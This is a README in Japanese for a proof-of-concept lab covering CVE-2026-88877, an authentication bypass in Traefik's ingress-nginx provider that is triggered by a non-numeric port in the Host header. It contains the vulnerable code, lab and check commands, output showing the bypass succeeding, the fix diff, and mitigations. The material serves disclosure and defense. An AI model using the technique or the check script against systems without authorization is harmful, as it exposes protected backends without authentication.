
CVE-2026-88877(from-to-www-redirect を介した Traefik ingress-nginx 認証バイパス)の概念実証および再現可能なラボ。読み取り専用のチェックモード付き。
v3.7.0–v3.7.11 — from-to-www-redirect による認証バイパスAuthor: pwnVader · License: MIT (リポジトリルート)
| Component | Traefik (Kubernetes ingress-nginx プロバイダー、providers.kubernetesingressnginx) |
| Type | CWE-639 — ユーザー制御キーによる認可バイパス |
| Affected | Traefik >= v3.7.0, <= v3.7.11 (v2 および < v3.7.0 は影響を受けない) |
| Fixed | v3.7.12 |
| CVE | CVE-2026-88877 — CVSS 4.0 9.3 (Critical、ベンダーアドバイザリによる) · CVSS 3.1 9.8 (一部の脆弱性データベースで公開されている値) |
| Official advisory | GHSA-cjr6-pf59-jq29 (Traefik リポジトリアドバイザリ) |
| PoC | poc.sh · lab/ |
開示状況。 この脆弱性は Traefik プロジェクトによって公開され、v3.7.12 で修正されています。 本文書は再現可能なラボを伴う独立した技術分析であり、オリジナルの発見ではありません。 脆弱性は上記のベンダーアドバイザリを通じて報告・開示されました (VulnCheck アドバイザリも参照)。 明示的な許可なくこの資料をシステムに対して使用しないでください。
GHSA 識別子。 公式リポジトリアドバイザリは GHSA-cjr6-pf59-jq29 です。GitHub の 汎用アドバイザリデータベースにも同一問題に対して別レコード GHSA-9rch-gvf7-hrfc が 存在します。脆弱性を引用する際はリポジトリアドバイザリを優先してください。
Ingress が認証アノテーション (例: nginx.ingress.kubernetes.io/auth-type: basic) と
nginx.ingress.kubernetes.io/from-to-www-redirect: "true" の両方を持つ場合、Traefik の
ingress-nginx プロバイダーは、ホストのみにマッチし、生成された RedirectRegex ミドルウェア
のみを保持し、それでも保護されたバックエンドを指す追加の**「兄弟」ルーター**を作成します:
// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
RedirectRegex: &dynamic.RedirectRegex{
Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
StatusCode: new(http.StatusPermanentRedirect), // 308
},
}
conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
Rule: f.ExtraRouterRule, // Host("www.example.com")
Middlewares: []string{mwName}, // ONLY the redirect middleware
Service: rt.Service, // <-- the protected backend
}
RedirectRegex は終端ハンドラーではありません: 正規表現がマッチしない場合、リクエストは
次のハンドラーに渡され、最終的にバックエンドにプロキシされます。正規表現は数値ポート
((:[0-9]+)?) のみを受け付けますが、Traefik の Host() マッチャーは net.SplitHostPort を
通じて authority を正規化します。したがって Host ヘッダーが非数値または空のポートを
持つリクエストは:
Host("www.example.com")) には依然としてマッチするが、www.example.com:x) にはマッチしないため、リダイレクトされず、1 つの未認証リクエスト — Host: www.example.com:x — が認証を必要とするバックエンドに到達
します。返される HTTP ステータスはバックエンド自体に依存します: このラボでは
traefik/whoami バックエンドが 200 を返しますが、セキュリティ上重要な事実はリクエストが
認証なしでバックエンドに到達したことであり、特定のステータスコードではありません。
v3.7.0–v3.7.11
(--providers.kubernetesingressnginx=true)。nginx.ingress.kubernetes.io/from-to-www-redirect: "true"
を組み合わせた Ingress で、www. の対応ホストが存在しないホスト向けのもの
(存在する場合、兄弟ルーターは生成されない)。# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh # tear down
poc.sh check は任意の候補デプロイメントに対しても実行できます:
./poc.sh check --url https://target.example --host target.example --verbose
[1] Protected host (Host: example.local) — authentication must be enforced
HTTP 401
[PASS] auth middleware enforced (HTTP 401)
[2] www host (Host: www.example.local) — the redirect router
HTTP 308
[PASS] redirect router responds (HTTP 308)
[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
HTTP 200
> Hostname: whoami-ff77f998d-25f6n
> RemoteAddr: 10.244.0.8:57586
> X-Forwarded-Server: traefik-7f76f4c58d-5knfz
== RESULT ==
[PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)
ラボで使用されているバックエンド (traefik/whoami) はリクエストをエコーし、Authorization
ヘッダーなし、認証ミドルウェア未適用でリクエストが保護されたサービスに到達したことを証明
します。表示されているステータスコード (200) はこの特定のバックエンドが返す値です。別の
バックエンドでは、バイパスは 401/403/リダイレクト以外の別のレスポンスとして現れる可能性が
あります。
- Regex: `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+ // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+ Regex: `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
- Service: rt.Service,
+ // The redirect router does not carry the location middlewares (auth included),
+ // so it must never reach the backend.
+ Service: unavailableServiceName,
リダイレクトルーターは内部の unavailable サービスを指すようになったため、リクエストが
正規表現をすり抜けたとしても保護されたバックエンドに到達することはありません。
Traefik v3.7.12 以降に更新してください。更新できないインストールでは、認証または許可
リストを組み合わせた Ingress から nginx.ingress.kubernetes.io/from-to-www-redirect を
一時的に削除し、アクセス制御ミドルウェアを保持する構成 (例: ミドルウェアをアタッチした
明示的な Traefik RedirectScheme/RedirectRegex CRD) でリダイレクトを実装してください。
多層防御として、バックエンド/アップストリームでも認証を強制してください。
認可されたセキュリティテスト専用です。ラボはローカルで自己完結しており、check モードは
読み取り専用 (3 回の GET リクエスト) であり、所有しているか明示的にテストを許可された
システムに対してのみ使用してください。